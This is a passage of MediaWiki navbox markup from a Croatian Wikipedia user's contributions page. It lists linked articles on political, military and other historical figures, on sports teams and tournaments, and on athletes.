[[File:Flag of Korea 1882.svg|22px|border]] Koreja |list6 = [[Sunjong od Koreje]] {{Navbox subgroup | groupstyle = text-align:center; color:white; background: black; border:1px solid silver; |group1= {{flagicon|Sjeverna Koreja}} Sjeverna Koreja |list1 = [[Kim Il-sung]] • [[Kim Jong-il]] • [[Kim Yŏng-nam]] • [[Kim Il (političar)|Kim Il]] |group2 = {{flagicon|Južna Koreja}} Južna Koreja |list2 = }} |group7 = {{flagicon|IZR}} Izrael |list7 = [[Menahem Begin]] |group8 = {{flagicon|Kambodža}} Kambodža |list8 = [[Norodom Sihanouk]] • [[Norodom Sihamoni]] • [[Ponhea Yat]] • [[Ang Duong]] • [[Norodom od Kambodže]] • [[Sisowath od Kambodže]] • [[Sisowath Monivong]] • [[Sơn Ngọc Thành]] • [[Penn Nouth]] • [[Nuon Chea]] • [[Ieng Sary]] • [[Pol Pot]] • [[Khieu Samphan]] • [[Kang Kek Iew]] • [[Hun Sen]] |group9 = {{flagicon|Jordan}} Jordan |list9 = [[Hussein I., kralj Jordana|Hussein I.]] |group12 = {{flagicon|AUS}} Australija |list12 = [[Edmund Barton]] • [[Ben Chifley]] • [[Harold Holt]] • [[John Curtin]] • [[Robert Menzies]] • [[Gough Whitlam]] • [[John Kerr]] • [[Malcolm Fraser]] • [[Stanley Bruce]] |group11 = {{flagicon|NZL}} Novi Zeland |list11 = [[Patsy Reddy]] • [[William Hobson]] • [[James Busby]] • [[Henry Sewell]] • [[Alfred Domett]] • [[John Ballance]] • [[Richard Seddon]] • [[Michael Joseph Savage]] • [[Peter Fraser (novozelandski političar)|Peter Fraser]] |group10 = {{flagicon|Mjanmar}} Mjanmar |list10 = [[U Thant]] |group13 = {{flagicon|FIJ}} Fidži |list13 = [[Seru Epenisa Cakobau]] • [[Kamisese Mara]] • [[Sitiveni Rabuka]] • [[Timoci Bavadra]] • [[Penaia Ganilau]] • [[Josefa Iloilo]] • [[Frank Bainimarama]] • [[Jioji Konrote]] • [[Epeli Nailatikau]] |group14 = {{flagicon|SIN}} Singapur |list14 = [[Tharman Shanmugaratnam]] • [[Lee Hsien Loong]] • [[Lawrence Wong]] • [[David Marshall (singapurski političar)|David Marshall]] • [[Lim Yew Hock]] • [[Yusof bin Ishak]] }} |group4= Afrika |list4= {{Navbox subgroup | groupstyle = text-align:center; color:white; background: black; border:1px solid silver; |group1= {{flagicon|EGI}} Egipat |list1= [[Gamal Abdel Nasser]] • [[Datoteka:LinkFA-star.png|14px]] [[Anwar Sadat]] • [[Hosni Mubarak]] |group2= {{flagicon|ANG}} Angola |list2= [[Agostinho Neto]] • [[Lopo do Nascimento]] • [[Fernando José de França Dias Van-Dúnem]] • [[José Eduardo dos Santos]] • [[Jonas Savimbi]] • [[João Lourenço]] |group3= {{flagicon|SOM}} Somalija |list3= [[Mohamed Siad Barre]] |group4= {{flagicon|ZIM}} Zimbabve |list4= [[Robert Mugabe]] |group5={{flagicon|TOG}} Togo |list5= [[Faure Gnassingbé]] |group6={{flagicon|CIV}} Obala Bjelokosti |list6=[[Félix Houphouët-Boigny]] |group7={{flagicon|Gvineja}} Gvineja |list7= [[Ahmed Sékou Touré]] |group8={{flagicon|GAN}} Gana |list8= [[Samia Nkrumah]] • [[John Dramani Mahama]] • [[John Atta Mills]] • [[John Agyekum Kufuor]] • [[Jerry Rawlings]] • [[Hilla Limann]] • [[Fred Akuffo]] • [[Ignatius Kutu Acheampong]] • [[Edward Akufo-Addo]] • [[Nii Amaa Ollennu]] • [[Akwasi Afrifa]] • [[Joseph Arthur Ankrah]] • [[Kofi Abrefa Busia]] • [[Nana Akufo-Addo]] |group9={{flagicon|BEN}} Benin |list9= [[Gangnihessou]] • [[Dakodonou]] • [[Houegbadja]] • [[Hangbè]] • [[Agaja]] • [[Ghézo]] • [[Béhanzin]] • [[Agoli-Agbo]] • [[Toffa I]] • [[Sourou-Migan Apithy]] • [[Hubert Maga]] • [[Justin Ahomadégbé-Tomêtin]] • [[Christophe Soglo]] • [[Émile Derlin Zinsou]] • [[Datoteka:LinkFA-star.png|14px]] [[Mathieu Kérékou]] • [[Thomas Boni Yayi]] • [[Patrice Talon]] }} }} |group4 = Vojna znanost |group4style = text-align:center; color:#556B2F; background:#6B8E23; border:1px solid #556B2F; |list4= {{Navbox subgroup | groupstyle =text-align:center; color:#556B2F; background:#6B8E23; border:1px solid #556B2F; |group1= {{flagicon|SAD}} Sjedinjene Države |list1= [[Douglas MacArthur]] • [[Omar Bradley]] |group2= {{flagicon|UK}} Ujedinjeno Kraljevstvo |list2= [[Andrew Cunningham]] • [[Harold Alexander]] • [[Jean Conan Doyle]] • [[John Jellicoe]] • [[Bernard Freyberg]] • [[Ivan Lyon]] |group3= {{flagicon|FRA}} Francuska |list3= [[Philippe Pétain]] • [[Louis Franchet d'Esperey]] • [[Joseph Jacques Césaire Joffre]] • [[Ferdinand Foch]] • [[Gilbert du Motier, markiz de La Fayette]] • [[Joachim Murat]] • [[Michel Ney]] • [[Pierre-Charles Villeneuve]] • [[Georges Ernest Boulanger]] • [[Robert Nivelle]] • [[François Darlan]] • [[Henri Giraud]] • [[Maxime Weygand]] • [[Maurice Gamelin]] • [[Bob Denard]] |group4= {{flagicon|ITA}} Italija |list4= [[Alfredo Guzzoni]] • [[Angelo Iachino]] |group5= {{flagicon|POLJ}} Poljska |list5= [[Edward Rydz-Śmigły]] |group6= {{flagicon|VIJ}} Vijetnam |list6= [[Võ Nguyên Giáp]] |group7= {{flagicon|NJE}} Njemačka |list7= {{Navbox subgroup | groupstyle =text-align:center; color:#556B2F; background:#6B8E23; border:1px solid #556B2F; |group1={{flagicon|NJE|empire}} Njemačko Carstvo |list1= [[Alfred von Schlieffen]] • [[Erich Ludendorff]] • [[Erich von Falkenhayn]] • [[August von Mackensen]] • [[Reinhard Scheer]] • [[Franz von Hipper]] • [[Colmar Freiherr von der Goltz]] • [[Alfred von Tirpitz]] • [[Adolf von Seckendorff]] |group2={{flagicon|NJE|Nazi}} Treći Reich |list2= [[Karl Dönitz]] • [[Wilm Hosenfeld]] • [[Friedrich Paulus]] • [[Erich von Manstein]] • [[Wilhelm Keitel]] }} |group8= {{flagicon|Austro-Ugarska}} Austro-Ugarska |list8= [[Oskar Potiorek]] • [[Conrad von Hötzendorf]] • [[Alois Hitler]] |group9= {{flagicon|JAP}} Japan |list9= [[Isoroku Jamamoto]] • [[Princ Akihito Komatsu]] • [[Takamori Saigō]] |group10= {{flagicon|SRB}} Srbija |list10= [[Pavle Jurišić Šturm]] |group11= {{flagicon|RUS}} Rusija |list11={{Navbox subgroup | groupstyle =text-align:center; color:#556B2F; background:#6B8E23; border:1px solid #556B2F; |group1={{flagicon|RUS}} Rusko Carstvo |list1= [[Aleksej Brusilov]] • [[Pjotr Wrangel]] • [[Nikolaj Judenič]] |group2={{flagicon|SSSR}} Sovjetski Savez |list2= [[Georgij Žukov]] • [[Konstantin Rokosovski]] • [[Nikolaj Kuznjecov]] }} |group12= {{flagicon|SJKOR}} Sjeverna Koreja |list12= [[Nam Il]] |group13= {{flagicon|EST}} Estonija |list13 = [[Johan Laidoner]] • [[Ain-Ervin Mere]] }} |group5 = Filozofi |group5style = text-align:center; color:#6699CC; background:#73C2FB; border:1px solid #6699CC; |list5= [[Baruch de Spinoza]] • [[Émile Durkheim]] • [[Jean-François Lyotard]] • [[Jacques Derrida]] • [[Louis Althusser]] • [[José Ortega y Gasset]] • [[Jeremy Bentham]] |group6 = Ostalo |group6style = text-align:center; color:#808080; background: #DCDCDC; border:1px solid #808080; |list6= [[David Livingstone]] • [[Oskar Schindler]] • [[Emilie Schindler]] • [[Wallis Simpson]] • [[Alice Pleasance Liddell]] • [[Ottla Kafka]] • [[Sadako Sasaki]] • [[Peter Turkson]] • [[Theodosia Okoh]] • [[Joan Sutherland]] • [[Maria Letizia Ramolino]] • [[Jan Palach]] • [[Pedro Álvares Cabral]] • [[Bernhard Schwarz]] • [[Michel Wieviorka]] • [[Carlos Manuel de Céspedes]] • [[Elián González]] • [[Diogo Cão]] • [[Paulo Dias de Novais]] • [[Irene Sáez]] • [[Anthelme Mangin]] • [[Dith Pran]] • [[Sydney Schanberg]] • [[Charles Delaunay]] • [[Poe Toaster]] • [[Virginia Eliza Clemm Poe]] • [[Lempira (vođa Lenka)|Lempira]] • [[Udre Udre]] • [[Aleksandar Langfang]] • [[Bayard Rustin]] • [[Aleksandar Holiga]] • [[Sang Nila Utama]] • [[Elizabeth Choy]] • [[Lav XIV]] • [[Lim Bo-seng]] • [[Shimeko Tanabe]] • [[Hatsuyo Oyama]] • [[Michiko Tsushima]] • [[Tomie Yamazaki]] • [[Valentina Tereškova]] |below= }} ==Sport== {{Navbox generic |titlestyle = background-color:#AAD0FF; color:black; text-align:center; border:1px solid silver; |name = Korisnik:Edgar Allan Poe/Doprinosi |title= Općenito o sportu (po sportovima) |groupstyle = background-color:#AAD0FF; color:black; text-align:center; border:1px solid silver; |belowstyle = background-color:#AAD0FF; color:black; text-align:center; border:1px solid silver; |group1 = [[File:Football pictogram.svg|20px]] Nogomet |list1= {{Navbox subgroup | groupstyle = background-color:#AAD0FF; color:black; text-align:center; border:1px solid silver; |group1 = Reprezentacije |list1= {{nowrap begin}} {{flagicon|ANG}} [[Fudbalska ili nogometna reprezentacija Angole|Angola]] {{•w}} {{flagicon|AUS}} [[Fudbalska ili nogometna reprezentacija Australije|Australija]] {{•w}} {{flagicon|BEN}} [[Fudbalska ili nogometna reprezentacija Benina|Benin]] {{•w}} [[Datoteka:LinkFA-star.png|14px]] {{flagicon|FRA}} [[Fudbalska ili nogometna reprezentacija Francuske|Francuska]] {{•w}} {{flagicon|GAN}} [[Fudbalska ili nogometna reprezentacija Gane|Gana]] {{•w}} [[Datoteka:LinkFA-star.png|14px]] {{flagicon|HON}} [[Fudbalska ili nogometna reprezentacija Hondurasa|Honduras]] {{•w}} {{flagicon|Kambodža}} [[Fudbalska ili nogometna reprezentacija Kambodže|Kambodža]] {{•w}} {{flagicon|CRC}} [[Fudbalska ili nogometna reprezentacija Kostarike|Kostarika]] {{•w}} {{flagicon|KUB}} [[Fudbalska ili nogometna reprezentacija Kube|Kuba]] {{•w}} {{flagicon|POLJ}} [[Fudbalska ili nogometna reprezentacija Poljske|Poljska]] {{•w}} {{flagicon|UKR}} [[Fudbalska ili nogometna reprezentacija Ukrajine|Ukrajina]] {{•w}} {{flagicon|VEN}} [[Fudbalska ili nogometna reprezentacija Venezuele|Venezuela]] {{•w}} {{flagicon|FIJ}} [[Fudbalska ili nogometna reprezentacija Fidžija|Fidži]] {{•w}} [[Datoteka:LinkFA-star.png|14px]] {{flagicon|EST}} [[Fudbalska ili nogometna reprezentacija Estonije|Estonija]] {{•w}} {{flagicon|SUR}} [[Fudbalska reprezentacija Surinama|Surinam]] {{•w}} {{flagicon|SIN}} [[Fudbalska reprezentacija Singapura|Singapur]] {{•w}} {{flagicon|PAN}} [[Fudbalska reprezentacija Paname|Panama]] {{nowrap end}} |group2 = Klubovi |list2= {{nowrap begin}} {{flagicon|ENG}} [[Arsenal FC]] {{•w}} {{flagicon|ENG}} [[Fulham FC]] {{•w}} {{flagicon|SJKOR}} [[4.25]] {{•w}} {{flagicon|SJKOR}} [[Pyongyang City SC]] {{•w}} {{flagicon|SUR}} [[Inter Moengotapoe]] {{nowrap end}} |group3 = Lige |list3= {{nowrap begin}} {{flagicon|FRA}} [[Ligue 1]] {{nowrap end}} |group4 = Prvenstva |list4= {{Navbox subgroup | groupstyle = background-color:#AAD0FF; color:black; text-align:center; border:1px solid silver; |group1 = [[Datoteka:LinkFA-star.png|14px]] [[FIFA Svjetsko prvenstvo|Svjetsko prvenstvo]] |list1= {{nowrap begin}} [[Datoteka:LinkFA-star.png|14px]] {{flagicon|FRA|1830}} [[FIFA Svjetsko prvenstvo 1938|1938.]] {{•w}} [[Datoteka:LinkFA-star.png|14px]] {{flagicon|BRA|1889a}} [[FIFA Svjetsko prvenstvo 1950|1950.]] {{•w}} [[Datoteka:LinkFA-star.png|14px]] {{flagicon|FRA}} [[FIFA Svjetsko prvenstvo 1998|1998.]] {{•w}} [[Datoteka:LinkFA-star.png|14px]] {{flagicon|BRA}} [[FIFA Svjetsko prvenstvo 2014|2014.]] {{•w}} [[Datoteka:LinkFA-star.png|14px]] {{flagicon|RUS}} [[FIFA Svjetsko prvenstvo 2018.|2018.]] {{•w}} [[Datoteka:LinkFA-star.png|14px]] {{flagicon|Katar}} [[FIFA Svjetsko prvenstvo 2022.|2022.]] {{•w}} {{flagicon|Kanada}} / {{flagicon|Meksiko}} / {{flagicon|SAD}} [[FIFA Svjetsko prvenstvo 2026.|2026.]] {{nowrap end}} {{Navbox subgroup | groupstyle = background-color:#AAD0FF; color:black; text-align:center; border:1px solid silver; |group1 = Finala |list1= {{nowrap begin}} [[Finale FIFA Svjetskog prvenstva 1954.|1954.]] {{•w}} [[Nizozemska - Zapadna Njemačka (finale Svjetskog prvenstva u nogometu 1974.)|1974.]] {{•w}} [[Brazil - Francuska (finale FIFA Svjetskog prvenstva 1998)|1998.]] {{•w}} [[Italija - Francuska (finale Svjetskog prvenstva u nogometu 2006.)|2006.]] {{•w}} [[Datoteka:LinkFA-star.png|14px]] [[Francuska – Hrvatska (finale FIFA Svjetskog prvenstva 2018.)|2018.]] {{nowrap end}} }} |group2 = [[Datoteka:LinkFA-star.png|14px]] [[UEFA Euro|Europsko prvenstvo]] |list2= {{nowrap begin}} {{flagicon|POLJ}} / {{flagicon|UKR}} [[UEFA Euro 2012|2012.]] {{•w}} [[Datoteka:LinkFA-star.png|14px]] {{flagicon|FRA}} [[UEFA Euro 2016.|2016.]] {{•w}} [[Datoteka:LinkFA-star.png|14px]] {{flagicon|EU}} [[UEFA Euro 2020.|2020.]] {{•w}} [[Datoteka:LinkFA-star.png|14px]] {{flagicon|NJE}} [[UEFA Euro 2024.|2024.]] {{nowrap end}} |group3 = Olimpijske igre |list3= |group4 = Kup nacija |list4 = {{nowrap begin}} {{flagicon|GAN}} [[Afrički kup nacija 1963.|1963.]] {{•w}} {{flagicon|GAN}} [[Afrički kup nacija 1978.|1978.]] {{•w}} {{flagicon|GAN}} / {{flagicon|Nigerija}} [[Afrički kup nacija 2000.|2000.]] {{•w}} {{flagicon|GAN}} [[Afrički kup nacija 2008.|2008.]] {{•w}} [[Datoteka:LinkFA-star.png|14px]] {{flagicon|ANG}} [[Afrički kup nacija 2010.|2010.]] {{nowrap end}} |group5 = [[AFC Azijski kup|Azijski kup]] |list5 = {{nowrap begin}} [[Datoteka:LinkFA-star.png|14px]] {{flagicon|SIN}} [[AFC Azijski kup 1984.|1984.]] {{nowrap end}} }} |group5 = Ostalo |list5= {{nowrap begin}} [[FIFA 100]] {{•w}} [[Australija - Američka Samoa (kvalifikacijska utakmica za FIFA Svjetsko prvenstvo 2002)|Australija 31:0 Američka Samoa]] {{•w}} [[Nagrade FIFA Svjetskog prvenstva]] {{•w}} [[Trofej Artemio Franchi]] {{•w}} [[Urugvaj - Brazil (finalna runda FIFA Svjetskog prvenstva 1950)|''Maracanaço'']] {{•w}} ''[[Brazil - Njemačka (polufinale FIFA Svjetskog prvenstva 2014)|Mineiraço]]'' {{•w}} [[Portugal - Sjeverna Koreja (četvrtfinale FIFA Svjetskog prvenstva 1966)|Portugal 5:3 Sjeverna Koreja]] {{•w}} [[Maskote FIFA Svjetskih prvenstava]] {{•w}} "[[Laka konjica (Mađarska)|Laka konjica]]" {{•w}} "[[Bitka za Bern (FIFA Svjetsko prvenstvo 1954.)|Bitka za Bern]]" {{nowrap end}} {{Navbox subgroup | groupstyle = background-color:#AAD0FF; color:black; text-align:center; border:1px solid silver; |group1 = Suci |list1= {{nowrap begin}} {{flagicon|ARG}} [[Néstor Pitana]] {{•w}} {{flagicon|BEL}} [[Frank De Bleeckere]] {{•w}} {{flagicon|UZB}} [[Ravšan Irmatov]] {{nowrap end}} |group2 = Stadioni |list2 = {{nowrap begin}} [[Estadio Nacional de Costa Rica (2011)]] {{•w}} [[Stadion Ohene Djan|Ohene Djan]] {{•w}} [[Stadion Baba Yara|Baba Yara]] {{•w}} [[Stade de France]] {{•w}} [[Estádio 11 de Novembro]] {{•w}} [[Stade de l'Amitié]] {{nowrap end}} }} }} |group2 = [[File:Ice hockey pictogram.svg|20px]] Hokej na ledu |list2= {{nowrap begin}} {{flagicon|KAN}} [[Hokej na ledu na ZOI 2010. - muškarci]] {{nowrap end}} |group3 = [[File:Handball pictogram.svg|20px]] Rukomet |list3= {{Navbox subgroup | groupstyle = background-color:#AAD0FF; color:black; text-align:center; border:1px solid silver; |group1 = Reprezentacije |list1= {{Navbox subgroup | groupstyle = background-color:#AAD0FF; color:black; text-align:center; border:1px solid silver; |group1 = EHF |list1= {{nowrap begin}} [[Datoteka:LinkFA-star.png|14px]] {{flagicon|FRA}} [[Francuska rukometna reprezentacija|Francuska]] {{•w}} {{flagicon|SRB}} [[Srpska rukometna reprezentacija|Srbija]] {{•w}} {{flagicon|UK}} [[Rukometna reprezentacija Ujedinjenog Kraljevstva|Ujedinjeno Kraljevstvo]] {{•w}} {{flagicon|MAĐ}} [[Rukometna reprezentacija Mađarske|Mađarska]] {{•w}} {{flagicon|ŠPA}} [[Rukometna reprezentacija Španjolske|Španjolska]] {{•w}} {{flagicon|FIN}} [[Rukometna reprezentacija Finske|Finska]] {{•w}} {{flagicon|BJE}} [[Rukometna reprezentacija Bjelorusije|Bjelorusija]] {{•w}} {{flagicon|MAK}} [[Rukometna reprezentacija Makedonije|Makedonija]] {{•w}} {{flagicon|CG}} [[Rukometna reprezentacija Crne Gore|Crna Gora]] {{•w}} {{flagicon|SLO}} [[Rukometna reprezentacija Slovenije|Slovenija]] {{•w}} {{flagicon|AUT}} [[Rukometna reprezentacija Austrije|Austrija]] {{•w}} {{flagicon|BIH}} [[Rukometna reprezentacija Bosne i Hercegovine|Bosna i Hercegovina]] {{•w}} {{flagicon|ISL}} [[Rukometna reprezentacija Islanda|Island]] {{•w}} {{flagicon|ČEŠ}} [[Rukometna reprezentacija Češke|Češka]] {{•w}} {{flagicon|SLK}} [[Rukometna reprezentacija Slovačke|Slovačka]] {{•w}} {{flagicon|EST}} [[Rukometna reprezentacija Estonije|Estonija]] {{nowrap end}} |group2 = AHF |list2= {{nowrap begin}} {{flagicon|JKO}} [[Rukometna reprezentacija Južne Koreje|Južna Koreja]] {{•w}} {{flagicon|KAT}} [[Rukometna reprezentacija Katara|Katar]] {{•w}} {{flagicon|SAU}} [[Rukometna reprezentacija Saudijske Arabije|Saudijska Arabija]] {{•w}} {{flagicon|JAP}} [[Rukometna reprezentacija Japana|Japan]] {{•w}} {{flagicon|UAE}} [[Rukometna reprezentacija Ujedinjenih Arapskih Emirata|Ujedinjeni Arapski Emirati]] {{•w}} {{flagicon|SJKOR}} [[Rukometna reprezentacija Sjeverne Koreje|Sjeverna Koreja]] {{•w}} {{flagicon|SIN}} [[Rukometna reprezentacija Singapura|Singapur]] {{nowrap end}} |group3 = CAHB |list3= {{nowrap begin}} {{flagicon|TUN}} [[Rukometna reprezentacija Tunisa|Tunis]] {{•w}} {{flagicon|EGI}} [[Rukometna reprezentacija Egipta|Egipat]] {{•w}} {{flagicon|ALŽ}} [[Rukometna reprezentacija Alžira|Alžir]] {{•w}} {{flagicon|ANG}} [[Rukometna reprezentacija Angole|Angola]] {{•w}} {{flagicon|BEN}} [[Rukometna reprezentacija Benina|Benin]] {{•w}} {{flagicon|COD}} [[Rukometna reprezentacija Demokratske Republike Kongo|DR Kongo]] {{nowrap end}} |group4 = OCHF |list4= {{nowrap begin}} {{flagicon|AUS}} [[Rukometna reprezentacija Australije|Australija]] {{•w}} {{flagicon|NZL}} [[Rukometna reprezentacija Novog Zelanda|Novi Zeland]] {{•w}} {{flagicon|Cookovi Otoci}} [[Rukometna reprezentacija Cookovog Otočja|Cookovi Otoci]] {{•w}} {{flagicon|Nova Kaledonija}} [[Rukometna reprezentacija Nove Kaledonije|Nova Kaledonija]] {{•w}} {{flagicon|FIJ}} [[Rukometna reprezentacija Fidžija|Fidži]] {{nowrap end}} |group5 = PATHF |list5= {{nowrap begin}} {{flagicon|ČIL}} [[Čileanska rukometna reprezentacija|Čile]] {{•w}} {{flagicon|ARG}} [[Rukometna reprezentacija Argentine|Argentina]] {{•w}} {{flagicon|BRA}} [[Rukometna reprezentacija Brazila|Brazil]] {{•w}} {{flagicon|HON}} [[Rukometna reprezentacija Hondurasa|Honduras]] {{•w}} {{flagicon|CRC}} [[Rukometna reprezentacija Kostarike|Kostarika]] {{•w}} {{flagicon|KUB}} [[Rukometna reprezentacija Kube|Kuba]] {{•w}} {{flagicon|VEN}} [[Rukometna reprezentacija Venezuele|Venezuela]] {{•w}} {{flagicon|PAN}} [[Rukometna reprezentacija Paname|Panama]] {{nowrap end}} }} |group2 = Klubovi |list2= {{flagicon|FRA}} [[Montpellier HB]] |group3 = Prvenstva |list3= {{Navbox subgroup | groupstyle = background-color:#AAD0FF; color:black; text-align:center; border:1px solid silver; |group1 = [[Datoteka:LinkFA-star.png|14px]] [[Svjetsko prvenstvo u rukometu za muškarce|Svjetsko prvenstvo]] |list1= {{flagicon|NJE|Nazi}} [[Svjetsko prvenstvo u rukometu - Njemačka 1938.|1938.]] • {{flagicon|ŠVE}} [[Svjetsko prvenstvo u rukometu - Švedska 1954.|1954.]] • {{flagicon|FRA}} [[Svjetsko prvenstvo u rukometu - Francuska 1970.|1970.]] • {{flagicon|FRA}} [[Svjetsko prvenstvo u rukometu - Francuska 2001.|2001.]] • {{flagicon|HRV}} [[Svjetsko prvenstvo u rukometu - Hrvatska 2009.|2009.]] <small>(osim dvorana)</small> • {{flagicon|ŠVE}} [[Svjetsko prvenstvo u rukometu - Švedska 2011.|2011.]] • {{flagicon|ŠPA}} [[Svjetsko prvenstvo u rukometu - Španjolska 2013.|2013.]] • [[Datoteka:LinkFA-star.png|14px]] {{flagicon|Katar}} [[Svjetsko prvenstvo u rukometu - Katar 2015.|2015.]] • [[Datoteka:LinkFA-star.png|14px]] {{flagicon|FRA}} [[Svjetsko prvenstvo u rukometu - Francuska 2017.|2017.]] • [[Datoteka:LinkFA-star.png|14px]] {{flagicon|DAN}} / {{flagicon|NJE}} [[IHF Svjetsko prvenstvo 2019.|2019.]] • [[Datoteka:LinkFA-star.png|14px]] {{flagicon|EGI}} [[IHF Svjetsko prvenstvo 2021.|2021.]] • [[Datoteka:LinkFA-star.png|14px]] {{flagicon|POLJ}}{{flagicon|ŠVE}} [[IHF Svjetsko rukometno prvenstvo 2023.|2023.]] • [[Datoteka:LinkFA-star.png|14px]] {{flagicon|DAN}}{{flagicon|HRV}}{{flagicon|NOR}} [[IHF Svjetsko rukometno prvenstvo 2025.|2025.]] |group2 = [[Europsko prvenstvo u rukometu|Europsko prvenstvo]] |list2= {{flagicon|POR}} [[Europsko prvenstvo u rukometu - Portugal 1994.|1994.]] • {{flagicon|AUT}} [[Europsko prvenstvo u rukometu - Austrija 2010.|2010.]] • {{flagicon|SRB}} [[Europsko prvenstvo u rukometu - Srbija 2012.|2012.]] • {{flagicon|DAN}} [[Europsko prvenstvo u rukometu - Danska 2014.|2014.]] • [[Datoteka:LinkFA-star.png|14px]] {{flagicon|POLJ}} [[Europsko prvenstvo u rukometu - Poljska 2016.|2016.]] • [[Datoteka:LinkFA-star.png|14px]] {{flagicon|HRV}} [[Europsko prvenstvo u rukometu - Hrvatska 2018.|2018.]] • [[Datoteka:LinkFA-star.png|14px]] {{flagicon|AUT}}{{flagicon|NOR}}{{flagicon|ŠVE}} [[EHF Euro 2020.|2020.]] • [[Datoteka:LinkFA-star.png|14px]] {{flagicon|MAĐ}}{{flagicon|SLK}} [[EHF Euro 2022.|2022.]] • [[Datoteka:LinkFA-star.png|14px]] {{flagicon|NJE}} [[EHF Euro 2024.|2024.]] • [[Datoteka:LinkFA-star.png|14px]] {{flagicon|DAN}}{{flagicon|NOR}}{{flagicon|ŠVE}} [[EHF Euro 2026.|2026.]] |group3 = [[Rukomet na Olimpijskim igrama|Olimpijske igre]] |list3= {{flagicon|FIN}} [[Rukomet na Ljetnim olimpijskim igrama 1952.|1952.]] • {{flagicon|SAD}} [[Rukomet na OI 1996. - muškarci|1996. (M)]] • {{flagicon|KIN}} [[Rukomet na OI 2008. - muškarci|2008. (M)]] • {{flagicon|UK}} [[Rukomet na Olimpijadi 2012. - muškarci|2012. (M)]] • {{flagicon|BRA}} [[Rukomet na Olimpijadi 2016. - muškarci|2016. (M)]] • [[Datoteka:LinkFA-star.png|14px]] {{flagicon|JAP}} [[Rukomet na Olimpijadi 2020. – Muškarci|2020. (M)]] • {{flagicon|FRA}} [[Rukomet na Olimpijadi 2024. – Muškarci|2024. (M)]] |group4 = [[Oceanijski kup nacija (rukomet)|Oceanijsko prvenstvo]] |list4= {{flagicon|NZL}} [[Oceanijski kup nacija - Novi Zeland 2010.|2010.]] • {{flagicon|AUS}} [[Oceanijski kup nacija 2012 (rukomet)|2012.]] |group5 = [[Afrički rukometni kup nacija|Afričko prvenstvo]] |list5= {{flagicon|ANG}} [[Afrički rukometni kup nacija - Angola 2008.|2008.]] }} |group4 = Ostalo |list4= [[Rivalstvo Francuske i Hrvatske u rukometu]] • [[IHF-ov igrač godine]] • [[IHF]] • [[EHF Kuća slavnih]] }} |group4 = [[File:Tennis pictogram.svg|20px]] Tenis |list4= {{flagicon|UK}} [[Wimbledon 2009.]] • {{flagicon|UK}} [[Wimbledon 2011.]] |group5 = [[File:Basketball pictogram.svg|20px]] Košarka |list5= [[FIBA EuroBasket]] • "[[Havlicek je ukrao loptu!]]" • [[FIBA Kuća slavnih]] ([[Lista članova FIBA Kuće slavnih|članovi]]) • [[Datoteka:LinkFA-star.png|14px]] [[FIBA Svjetsko prvenstvo u košarci]] {{Navbox subgroup | groupstyle = background-color:#AAD0FF; color:black; text-align:center; border:1px solid silver; |group1 = Reprezentacije |list1 = {{flagicon|BEN}} [[Košarkaška reprezentacija Benina|Benin]] • {{flagicon|HON}} [[Košarkaška reprezentacija Hondurasa|Honduras]] • [[Datoteka:LinkFA-star.png|14px]] {{flagicon|SAD}} "[[Muška olimpijska košarkaška reprezentacija Sjedinjenih Američkih Država iz 1992.|Dream Team]]" • {{flagicon|EST}} [[Košarkaška reprezentacija Estonije|Estonija]] • {{flagicon|SUR}} [[Košarkaška reprezentacija Surinama|Surinam]] • {{flagicon|SIN}} [[Košarkaška reprezentacija Singapura|Singapur]] • {{flagicon|PAN}} [[Košarkaška reprezentacija Paname|Panama]] |group2 = Klubovi |list2 = [[Datoteka:LinkFA-star.png|14px]] {{flagicon|SAD}} [[Boston Celtics]] ([[Spisak igrača Boston Celticsa|igrači]]) }} | group6 = [[File:Rugby union pictogram.svg|20px]] Ragbi | list6 = {{nowrap begin}} {{flagicon|NZL}} [[Ragbi reprezentacija Novog Zelanda|Novi Zeland]] • {{flagicon|FIJ}} [[Ragbi reprezentacija Fidžija|Fidži]] ([[Ragbi sedam reprezentacija Fidžija|ragbi sedam]]) {{nowrap end}} | group7 = [[File:Baseball pictogram.svg|20px]] Bejzbol | list7 = {{nowrap begin}} {{flagicon|PAN}} [[Bejzbolska reprezentacija Paname|Panama]] {{nowrap end}} |below = {{flagicon|SRB}} [[Srbija na OI 2008.]] }} ===Sportaši=== {{Navbox | name = Korisnik:Edgar Allan Poe/Doprinosi | title = Doprinosi o sportašima | titlestyle = background-color:#AAD0FF; color:black; text-align:center; border:1px solid silver; | groupstyle = background-color:#AAD0FF; color:black; text-align:center; border:1px solid silver; | image = | imageleft = | bodyclass = hlist | group1 = [[File:Athletics pictogram.svg|20px]] Atletika | list1 = {{nowrap begin}} {{flagicon|ANG}} [[João N'Tyamba]]{{•w}} {{flagicon|AUS}} [[Jack Metcalfe]]{{•w}} {{flagicon|ČEŠ}} [[Roman Šebrle]]{{•w}} {{flagicon|JAM}} [[Usain Bolt]]{{•w}} {{flagicon|KUB}} [[Dayron Robles]]{{•w}} {{flagicon|NZL}} [[Peter Snell]]{{•w}} {{flagicon|RUS}} [[Andrej Silnov]]{{•w}} {{flagicon|SLO}} [[Primož Kozmus]] {{nowrap end}} | group2 = [[File:Boxing pictogram.svg|20px]] Boks | list2 = {{nowrap begin}} {{flagicon|GAN}} [[Clement Quartey]]{{•w}} {{flagicon|GAN}} [[Eddie Blay]]{{•w}} {{flagicon|GAN}} [[Prince Amartey]]{{•w}} {{flagicon|KUB}} [[Teófilo Stevenson]]{{•w}} {{flagicon|VEN}} [[Francisco Rodríguez (boksač, rođen 1945.)|Francisco Rodríguez]]{{•w}} {{flagicon|PAN}} [[Roberto Durán]] {{nowrap end}} | group3 = [[File:F1 pictogram.svg|20px]] Formula 1 | list3 = {{nowrap begin}} {{flagicon|AUS}} [[Jack Brabham]]{{•w}} {{flagicon|AUS}} [[Alan Jones]]{{•w}} {{flagicon|BRA}} [[Nelson Piquet]]{{•w}} {{flagicon|FRA}} [[Alain Prost]]{{•w}} {{flagicon|NZL}} [[Denny Hulme]]{{•w}} {{flagicon|NZL}} [[Bruce McLaren]] {{nowrap end}} | group4 = [[File:Basketball pictogram.svg|20px]] Košarka | list4 = {{nowrap begin}} {{flagicon|BRA}} [[Nenê]]{{•w}} {{flagicon|BRA}} [[Leandro Barbosa]]{{•w}} {{flagicon|BRA}} [[Oscar Schmidt]]{{•w}} {{flagicon|BRA}} [[Anderson Varejão]]{{•w}} {{flagicon|BRA}} [[Tiago Splitter]]{{•w}} {{flagicon|ČEŠ}} [[Jan Veselý]]{{•w}} [[Datoteka:LinkFA-star.png|14px]] {{flagicon|DR Kongo}}{{flagicon|SAD}} [[Dikembe Mutombo]]{{•w}} {{flagicon|FRA}} [[Tony 